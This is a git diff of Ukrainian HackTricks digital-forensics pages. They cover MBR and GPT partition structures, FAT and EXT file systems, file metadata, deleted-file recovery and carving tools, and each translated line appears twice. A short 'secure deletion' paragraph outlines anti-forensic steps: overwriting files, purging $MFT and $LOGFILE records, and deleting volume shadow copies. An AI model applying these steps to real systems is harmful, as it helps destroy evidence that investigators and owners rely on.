| 446 (0x1BE) | 16 (0x10) | Перший розділ |
| 462 (0x1CE) | 16 (0x10) | Другий розділ |
| 478 (0x1DE) | 16 (0x10) | Третій розділ |
| 494 (0x1EE) | 16 (0x10) | Четвертий розділ |
| 510 (0x1FE) | 2 (0x2) | Підпис 0x55 0xAA |
| 0 (0x00) | 446(0x1BE) | Boot code |
| 446 (0x1BE) | 16 (0x10) | First Partition |
| 462 (0x1CE) | 16 (0x10) | Second Partition |
| 478 (0x1DE) | 16 (0x10) | Third Partition |
| 494 (0x1EE) | 16 (0x10) | Fourth Partition |
| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA |
**Формат запису розділу**
**Partition Record Format**
| Зсув | Довжина | Елемент |
| --------- | -------- | --------------------------------------------------------- |
| 0 (0x00) | 1 (0x01) | Прапорець активності (0x80 = завантажувальний) |
| 1 (0x01) | 1 (0x01) | Початкова головка |
| 2 (0x02) | 1 (0x01) | Початковий сектор (біти 0-5); старші біти циліндра (6- 7) |
| 3 (0x03) | 1 (0x01) | Найменші 8 бітів циліндра початку |
| 4 (0x04) | 1 (0x01) | Код типу розділу (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Кінцева головка |
| 6 (0x06) | 1 (0x01) | Кінцевий сектор (біти 0-5); старші біти циліндра (6- 7) |
| 7 (0x07) | 1 (0x01) | Найменші 8 бітів циліндра кінця |
| 8 (0x08) | 4 (0x04) | Сектори перед розділом (літтл-ендіан) |
| 12 (0x0C) | 4 (0x04) | Сектори у розділі |
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Start head |
| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits |
| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | End head |
| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) |
| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits |
| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) |
| 12 (0x0C) | 4 (0x04) | Sectors in partition |
Для монтування MBR в Linux спочатку потрібно отримати початковий зсув (можна використовувати `fdisk` та команду `p`)
Щоб змонтувати MBR в Linux, спочатку потрібно отримати початковий зсув (ви можете використовувати `fdisk` і команду `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
А потім використовуйте наступний код
```bash
@ -70,85 +71,86 @@ mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Logical block addressing)**
**LBA (Логічне блочне адресування)**
**Логічна адресація блоків** (**LBA**) - це загальна схема, яка використовується для **вказівки місця розташування блоків** даних, збережених на пристроях комп'ютерного сховища, зазвичай на системах вторинного сховища, таких як жорсткі диски. LBA - це особлива проста лінійна схема адресації; **блоки розташовуються за допомогою цілочисельного індексу**, при цьому перший блок має LBA 0, другий - LBA 1 і так далі.
**Логічне блочне адресування** (**LBA**) є поширеною схемою, що використовується для **вказівки місця розташування блоків** даних, збережених на комп'ютерних носіях, зазвичай на вторинних системах зберігання, таких як жорсткі диски. LBA є особливо простим лінійним адресним методом; **блоки розташовані за цілим індексом**, де перший блок - LBA 0, другий - LBA 1 і так далі.
### GPT (GUID Partition Table)
### GPT (GUID Таблиця Розділів)
GUID Partition Table, відома як GPT, відзначається своїми покращеними можливостями порівняно з MBR (Master Boot Record). Відзначається своїм **глобально унікальним ідентифікатором** для розділів, GPT виділяється кількома способами:
GUID Таблиця Розділів, відома як GPT, віддається перевага через її розширені можливості в порівнянні з MBR (Master Boot Record). Вона відрізняється своєю **глобально унікальною ідентифікацією** для розділів, GPT виділяється кількома способами:
* **Місце та розмір**: Як GPT, так і MBR починаються з **сектора 0**. Однак GPT працює на **64 бітах**, що відрізняється від 32 біт MBR.
* **Обмеження розділів**: GPT підтримує до **128 розділів** на системах Windows та може вміщати до **9,4ZB** даних.
* **Назви розділів**: Надає можливість називати розділи до 36 символів Unicode.
* **Місцезнаходження та Розмір**: Як GPT, так і MBR починаються з **сектора 0**. Однак GPT працює на **64 бітах**, на відміну від 32 біт MBR.
* **Обмеження Розділів**: GPT підтримує до **128 розділів** на системах Windows і вміщує до **9.4ZB** даних.
* **Назви Розділів**: Пропонує можливість називати розділи до 36 символів Unicode.
**Стійкість та відновлення даних**:
**Стійкість та Відновлення Даних**:
* **Резервне копіювання**: На відміну від MBR, GPT не обмежує розділення та дані завантаження в одне місце. Він реплікує ці дані по диску, підвищуючи цілісність та стійкість даних.
* **Циклічна перевірка на відповідність (CRC)**: GPT використовує CRC для забезпечення цілісності даних. Він активно контролює корупцію даних, і коли виявляється, GPT намагається відновити пошкоджені дані з іншого місця на диску.
* **Резервування**: На відміну від MBR, GPT не обмежує дані про розділи та завантаження в одному місці. Вона реплікує ці дані по всьому диску, підвищуючи цілісність та стійкість даних.
* **Циклічна Контрольна Сума (CRC)**: GPT використовує CRC для забезпечення цілісності даних. Вона активно контролює наявність пошкоджень даних, і при виявленні GPT намагається відновити пошкоджені дані з іншого місця на диску.
**Захисний MBR (LBA0)**:
* GPT забезпечує сумісність з попередніми версіями через захисний MBR. Ця функція розташована в просторі спадщини MBR, але призначена для запобігання помилковому перезаписуванню даних на дисках, відформатованих у форматі GPT, захищаючи тим самим цілісність даних на дисках у форматі GPT.
* GPT підтримує зворотну сумісність через захисний MBR. Ця функція розташована в простору спадкового MBR, але призначена для запобігання випадковому перезапису GPT-дисків старими утилітами на основі MBR, тим самим захищаючи цілісність даних на дисках, відформатованих у GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
**Гібридний MBR (LBA 0 + GPT)**
[З Вікіпедії](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
У операційних системах, які підтримують **завантаження на основі GPT через послуги BIOS** замість EFI, перший сектор також може використовуватися для зберігання першого етапу коду **завантажувача**, але **змінений** для визнання **розділів GPT**. Завантажувач у MBR не повинен припускати розмір сектора 512 байтів.
В операційних системах, які підтримують **завантаження на основі GPT через BIOS** замість EFI, перший сектор також може використовуватися для зберігання першої стадії коду **завантажувача**. Але **модифікований** для розпізнавання **GPT** **розділів**. Завантажувач у MBR не повинен припускати розмір сектора 512 байт.
**Заголовок таблиці розділів (LBA 1)**
[З Вікіпедії](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Заголовок таблиці розділів визначає використовувані блоки на диску. Він також визначає кількість та розмір записів розділів, які складають таблицю розділів (зміщення 80 та 84 у таблиці).
Заголовок таблиці розділів визначає використовувані блоки на диску. Він також визначає кількість і розмір записів розділів, які складають таблицю розділів (зсуви 80 і 84 в таблиці).
| Зміщення | Довжина | Вміст |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 байтів | Підпис ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h або 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)на машинах little-endian) |
| 8 (0x08) | 4 байти | Ревізія 1.0 (00h 00h 01h 00h) для UEFI 2.8 |
| 12 (0x0C) | 4 байти | Розмір заголовка в little-endian (в байтах, зазвичай 5Ch 00h 00h 00h або 92 байти) |
| 16 (0x10) | 4 байти | [CRC32](https://en.wikipedia.org/wiki/CRC32) заголовка (зміщення +0 до розміру заголовка) в little-endian, з цим полем, яке обнуляється під час обчислення |
| 20 (0x14) | 4 байти | Зарезервовано; повинно бути нулем |
| 24 (0x18) | 8 байтів | Поточний LBA (розташування цього копію заголовка) |
| 32 (0x20) | 8 байтів | Резервне LBA (розташування іншого копію заголовка) |
| 40 (0x28) | 8 байтів | Перший використовуваний LBA для розділів (останній LBA основної таблиці розділів + 1) |
| 48 (0x30) | 8 байтів | Останній використовуваний LBA (перший LBA вторинної таблиці розділів 1) |
| 56 (0x38) | 16 байтів | GUID диска в змішаному порядку байтів |
| 72 (0x48) | 8 байтів | Початковий LBA масиву записів розділів (завжди 2 в основній копії) |
| Зсув | Довжина | Зміст |
| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 байт | Підпис ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h або 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)на машинах з малим порядком байтів) |
| 8 (0x08) | 4 байти | Версія 1.0 (00h 00h 01h 00h) для UEFI 2.8 |
| 12 (0x0C) | 4 байти | Розмір заголовка в малому порядку (в байтах, зазвичай 5Ch 00h 00h 00h або 92 байти) |
| 16 (0x10) | 4 байти | [CRC32](https://en.wikipedia.org/wiki/CRC32) заголовка (зсув +0 до розміру заголовка) в малому порядку, з цим полем, обнуленим під час обчислення |
| 20 (0x14) | 4 байти | Зарезервовано; має бути нулем |
| 24 (0x18) | 8 байт | Поточний LBA (місцезнаходження цієї копії заголовка) |
| 32 (0x20) | 8 байт | Резервний LBA (місцезнаходження іншої копії заголовка) |
| 40 (0x28) | 8 байт | Перший використовуваний LBA для розділів (остання LBA основної таблиці розділів + 1) |
| 48 (0x30) | 8 байт | Останній використовуваний LBA (перша LBA вторинної таблиці розділів 1) |
| 56 (0x38) | 16 байт | GUID диска в змішаному порядку |
| 72 (0x48) | 8 байт | Початковий LBA масиву записів розділів (завжди 2 в основній копії) |
| 80 (0x50) | 4 байти | Кількість записів розділів у масиві |
| 84 (0x54) | 4 байти | Розмір одного запису розділу (зазвичай 80h або 128) |
| 88 (0x58) | 4 байти | CRC32 масиву записів розділів в little-endian |
| 92 (0x5C) | \* | Зарезервовано; повинно бути нулями для решти блоку (420 байтів для розміру сектора 512 байтів; але може бути більше з більшими розмірами секторів) |
| 88 (0x58) | 4 байти | CRC32 масиву записів розділів в малому порядку |
| 92 (0x5C) | \* | Зарезервовано; має бути нулями для решти блоку (420 байт для розміру сектора 512 байт; але може бути більше з більшими розмірами секторів) |
**Записи розділів (LBA 233)**
| Формат запису розділу GUID | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Зміщення | Довжина | Вміст |
| 0 (0x00) | 16 байтів | [GUID типу розділу](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (змішаний порядок байтів) |
| 16 (0x10) | 16 байтів | Унікальний GUID розділу (змішаний порядок байтів) |
| 32 (0x20) | 8 байтів | Перший LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 байтів | Останній LBA (включно, зазвичай непарний) |
| 48 (0x30) | 8 байтів | Прапори атрибутів (наприклад, біт 60 вказує на те, що режим лише для читання) |
| 56 (0x38) | 72 байти | Назва розділу (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE кодові одиниці) |
| Зсув | Довжина | Зміст |
| 0 (0x00) | 16 байт | [GUID типу розділу](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (змішаний порядок) |
| 16 (0x10) | 16 байт | Унікальний GUID розділу (змішаний порядок) |
| 32 (0x20) | 8 байт | Перший LBA ([малий порядок](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 байт | Останній LBA (включно, зазвичай непарний) |
| 48 (0x30) | 8 байт | Атрибути (наприклад, біт 60 позначає тільки для читання) |
| 56 (0x38) | 72 байти | Назва розділу (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE кодових одиниць) |
**Типи розділів**
**Типи Розділів**
![](<../../../.gitbook/assets/image (492).png>)
![](<../../../.gitbook/assets/image (83).png>)
Більше типів розділів за посиланням [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Більше типів розділів на [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### Інспектування
### Інспекція
Після монтування образу для форензіки за допомогою [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), ви можете оглянути перший сектор за допомогою інструменту Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** На наступному зображенні було виявлено **MBR** на **секторі 0** та інтерпретовано:
Після монтування образу дляensics за допомогою [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), ви можете перевірити перший сектор за допомогою інструменту Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** На наступному зображенні було виявлено **MBR** на **секторі 0** та інтерпретовано:
![](<../../../.gitbook/assets/image (494).png>)
![](<../../../.gitbook/assets/image (354).png>)
Якщо це була **таблиця GPT замість MBR**, у секторі 1 повинен був з'явитися підпис _EFI PART_ (який на попередньому зображенні порожній).
## Файлові системи
Якщо це була **таблиця GPT замість MBR**, вона повинна містити підпис _EFI PART_ у **секторі 1** (який на попередньому зображенні порожній).
## Файлові Системи
### Список файлових систем Windows
@ -160,79 +162,79 @@ GUID Partition Table, відома як GPT, відзначається свої
### FAT
Файлова система **FAT (File Allocation Table)** розроблена навколо свого основного компонента - таблиці розподілу файлів, розташованої на початку тома. Ця система захищає дані, зберігаючи **два копії** таблиці, забезпечуючи цілісність даних навіть у випадку пошкодження однієї з них. Таблиця, разом з кореневою текою, повинна бути в **фіксованому місці**, що є важливим для процесу завантаження системи.
Файлова система **FAT (Таблиця Розподілу Файлів)** спроектована навколо свого основного компонента, таблиці розподілу файлів, розташованої на початку тому. Ця система захищає дані, зберігаючи **дві копії** таблиці, забезпечуючи цілісність даних, навіть якщо одна з них пошкоджена. Таблиця, разом з кореневою папкою, повинна бути в **фіксованому місці**, що є критично важливим для процесу запуску системи.
Основною одиницею зберігання файлової системи є **кластер, зазвичай 512 байтів**, який складається з кількох секторів. FAT розвивалася через версії:
Основна одиниця зберігання файлової системи - це **кластер, зазвичай 512B**, що складається з кількох секторів. FAT еволюціонувала через версії:
* **FAT12**, яка підтримує адреси кластерів 12 бітів і обробляє до 4078 кластерів (4084 з UNIX).
* **FAT16**, що покращується до адрес 16 бітів, тим самим розміщуючи до 65 517 кластерів.
* **FAT32**, що подальше розвивається з адресами 32 бітів, дозволяючи вражаючі 268 435 456 кластерів на том.
* **FAT12**, що підтримує 12-бітні адреси кластерів і обробляє до 4078 кластерів (4084 з UNIX).
* **FAT16**, що покращує до 16-бітних адрес, тим самим вміщуючи до 65,517 кластерів.
* **FAT32**, що далі розвивається з 32-бітними адресами, дозволяючи вражаючі 268,435,456 кластерів на том.
Значним обмеженням у всіх версіях FAT є **максимальний розмір файлу 4 ГБ**, який накладається 32-бітним полем, використованим для зберігання розміру файлу.
Значним обмеженням для всіх версій FAT є **максимальний розмір файлу 4 ГБ**, накладений 32-бітним полем, що використовується для зберігання розміру файлу.
Ключові компоненти коренового каталогу, особливо для FAT12 та FAT16, включають:
Ключові компоненти кореневої директорії, особливо для FAT12 і FAT16, включають:
* **Ім'я файлу/папки** (до 8 символів)
* **Ім'я Файлу/Папки** (до 8 символів)
* **Атрибути**
* **Дата створення, модифікації та останнього доступу**
* **Адреса таблиці FAT** (вказує початковий кластер файлу)
* **Розмір файлу**
* **Дати створення, модифікації та останнього доступу**
* **Адреса FAT таблиці** (що вказує на початковий кластер файлу)
* **Розмір Файлу**
### EXT
**Ext2** є найпоширенішою файловою системою для **неведення журналу** розділів (**розділів, які мало змінюються**), наприклад, розділ завантаження. **Ext3/4** є **журналюванням** і зазвичай використовуються для **решти розділів**.
**Ext2** є найпоширенішою файловою системою для **нежурнальних** розділів (**розділів, які не змінюються багато**) таких як завантажувальний розділ. **Ext3/4** є **журнальними** і зазвичай використовуються для **інших розділів**.
## **Метадані**
Деякі файли містять метадані. Ця інформація стосується вмісту файлу, яка іноді може бути цікавою для аналітика, оскільки в залежності від типу файлу вона може містити інформацію, таку як:
Деякі файли містять метадані. Ця інформація стосується вмісту файлу, що іноді може бути цікаво аналітику, оскільки в залежності від типу файлу, вона може містити інформацію, таку як:
* Назва
* Версія MS Office, яка використовувалася
* Версія MS Office, що використовується
* Автор
* Дати створення та останньої модифікації
* Модель камери
* GPS-координати
* GPS координати
* Інформація про зображення
Ви можете використовувати інструменти, такі як [**exiftool**](https://exiftool.org) та [**Metadiver**](https://www.easymetadata.com/metadiver-2/), щоб отримати метадані файлу.
## **Відновлення видалених файлів**
## **Відновлення Видалених Файлів**
### Зареєстровані видалені файли
### Логічно Видалені Файли
Як було показано раніше, існують кілька місць, де файл все ще зберігається після того, як він був "видалений". Це тому, що зазвичай видалення файлу з файлової системи просто позначає його як видалений, але дані не торкаються. Потім можна перевірити реєстри файлів (наприклад, MFT) та знайти видалені файли.
Як було зазначено раніше, існує кілька місць, де файл все ще зберігається після того, як він був "видалений". Це тому, що зазвичай видалення файлу з файлової системи просто позначає його як видалений, але дані не торкаються. Тоді можливо перевірити реєстри файлів (такі як MFT) і знайти видалені файли.
Крім того, ОС зазвичай зберігає багато інформації про зміни файлової системи та резервні копії, тому можна спробувати використати їх для відновлення файлу або якомога більше інформації.
Крім того, ОС зазвичай зберігає багато інформації про зміни файлової системи та резервні копії, тому можливо спробувати використовувати їх для відновлення файлу або якомога більшої кількості інформації.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **Вирізання файлів**
### **Файлове Вирізання**
**Вирізання файлів** - це техніка, яка намагається **знайти файли в масі даних**. Існують 3 основні способи роботи інструментів, як це працює: **На основі заголовків та кінцівок файлів**, на основі **структур типів файлів** та на основі **вмісту** самого файлу.
**Файлове вирізання** - це техніка, яка намагається **знайти файли в масиві даних**. Є 3 основні способи, якими працюють такі інструменти: **На основі заголовків і футерів типів файлів**, на основі **структур** типів файлів і на основі **вмісту** самого файлу.
Зверніть увагу, що ця техніка **не працює для відновлення фрагментованих файлів**. Якщо файл **не зберігається в сусідніх секторах**, то ця техніка не зможе знайти його або принаймні його частину.
Зверніть увагу, що ця техніка **не працює для відновлення фрагментованих файлів**. Якщо файл **не зберігається в сусідніх секторах**, тоді ця техніка не зможе його знайти або, принаймні, частину його.
Існує кілька інструментів, які можна використовувати для вирізання файлів, вказуючи типи файлів, які ви хочете знайти
Існує кілька інструментів, які ви можете використовувати для файлового вирізання, вказуючи типи файлів, які ви хочете шукати.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Вирізання потоку даних
### Вирізання Потоку Даних
Вирізання потоку даних схоже на вирізання файлів, але **замість пошуку повних файлів воно шукає цікаві фрагменти** інформації.\
Наприклад, замість пошуку повного файлу, що містить зареєстровані URL-адреси, ця техніка буде шукати URL-адреси.
Вирізання Потоку Даних подібне до Файлового Вирізання, але **замість того, щоб шукати цілі файли, воно шукає цікаві фрагменти** інформації.\
Наприклад, замість того, щоб шукати цілі файли, що містять зафіксовані URL-адреси, ця техніка шукатиме URL-адреси.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Безпечне видалення
### Безпечне Видалення
Очевидно, існують способи **"безпечного" видалення файлів та частин журналів про них**. Наприклад, можливо **перезаписати вміст** файлу непотрібними даними кілька разів, а потім **видалити** **журнали** з **$MFT** та **$LOGFILE** про файл, і **видалити тіньові копії томів**.\
Варто зауважити, що навіть виконуючи цю дію, можуть бути **інші частини, де існує інформація про наявність файлу**, і це правда, і частиною роботи професіонала з форензики є їх пошук.
Очевидно, що існують способи **"надійно" видалити файли та частину журналів про них**. Наприклад, можливо **перезаписати вміст** файлу сміттєвими даними кілька разів, а потім **видалити** **журнали** з **$MFT** та **$LOGFILE** про файл, а також **видалити Копії Тіней Томів**.\
Ви можете помітити, що навіть виконуючи цю дію, можуть бути **інші частини, де існування файлу все ще зафіксовано**, і це правда, і частина роботи професіонала з судової експертизи полягає в тому, щоб їх знайти.
## Посилання
@ -240,4 +242,19 @@ GUID Partition Table, відома як GPT, відзначається свої
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows**
* **iHackLabs Сертифікований Цифровий Судовий Експерт Windows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Інструменти для відновлення файлів та даних
# File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Інструменти для відновлення та карвінгу
## Carving & Recovery tools
Більше інструментів за посиланням [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
Більше інструментів на [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Найпоширеніший інструмент, який використовується в судовій експертизі для вилучення файлів з образів - це [**Autopsy**](https://www.autopsy.com/download/). Завантажте його, встановіть та використовуйте для пошуку "прихованих" файлів у файлі. Зверніть увагу, що Autopsy призначений для підтримки образів диска та інших видів образів, але не простих файлів.
Найбільш поширений інструмент, що використовується в судовій експертизі для витягування файлів з образів, це [**Autopsy**](https://www.autopsy.com/download/). Завантажте його, встановіть і дайте йому обробити файл, щоб знайти "сховані" файли. Зверніть увагу, що Autopsy створено для підтримки образів дисків та інших видів образів, але не простих файлів.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** - це інструмент для аналізу бінарних файлів для пошуку вбудованого вмісту. Він може бути встановлений через `apt`, а його вихідний код знаходиться на [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** — це інструмент для аналізу бінарних файлів з метою виявлення вбудованого контенту. Його можна встановити через `apt`, а його вихідний код доступний на [GitHub](https://github.com/ReFirmLabs/binwalk).
**Корисні команди**:
```bash
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Ще один поширений інструмент для пошуку прихованих файлів - **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете лише знайти певні файли, розкоментуйте їх. Якщо ви нічого не розкоментуєте, foremost буде шукати файли типів, налаштованих за замовчуванням.
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментар з них. Якщо ви нічого не знімете, foremost буде шукати файли за замовчуванням.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -51,7 +52,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** - це ще один інструмент, який можна використовувати для пошуку та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно розкоментувати з конфігураційного файлу (_/etc/scalpel/scalpel.conf_) типи файлів, які ви хочете вилучити.
**Scalpel** - це ще один інструмент, який можна використовувати для знаходження та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно буде зняти коментарі з файлів конфігурації (_/etc/scalpel/scalpel.conf_) для типів файлів, які ви хочете вилучити.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -60,44 +61,67 @@ scalpel file.img -o output
Цей інструмент входить до складу Kali, але ви можете знайти його тут: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Цей інструмент може сканувати зображення та **витягувати pcaps** всередині нього, **мережеву інформацію (URL-адреси, домени, IP-адреси, MAC-адреси, пошту)** та більше **файлів**. Вам потрібно лише виконати:
Цей інструмент може сканувати зображення і **витягувати pcaps** всередині нього, **мережеву інформацію (URL, домени, IP, MAC, електронні листи)** та інші **файли**. Вам потрібно лише зробити:
```
bulk_extractor memory.img -o out_folder
```
Navigate through **всю інформацію**, яку зібрав інструмент (паролі?), **аналізуйте** **пакети** (читайте[ **аналіз Pcaps**](../pcap-inspection/)), шукайте **дивні домени** (домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**).
### PhotoRec
Ви можете знайти його за посиланням [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Ви можете знайти його на [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Він поставляється з версіями GUI та CLI. Ви можете вибрати **типи файлів**, які ви хочете, щоб PhotoRec шукав.
Він постачається з версіями GUI та CLI. Ви можете вибрати **типи файлів**, які хочете, щоб PhotoRec шукав.
![](<../../../.gitbook/assets/image (524).png>)
![](<../../../.gitbook/assets/image (242).png>)
### binvis
Перевірте [код](https://code.google.com/archive/p/binvis/) та [веб-сторінку інструменту](https://binvis.io/#/).
Перевірте [код](https://code.google.com/archive/p/binvis/) та [веб-сторінку інструмента](https://binvis.io/#/).
#### Особливості BinVis
* Візуальний та активний **переглядач структури**
* Кілька графіків для різних точок фокусу
* Фокусування на частинах вибірки
* **Побачення рядків та ресурсів**, у виконуваних файлах PE або ELF, наприклад
* Кілька графіків для різних фокусних точок
* Фокусування на частинах зразка
* **Перегляд рядків та ресурсів**, у PE або ELF виконуваних файлах, наприклад
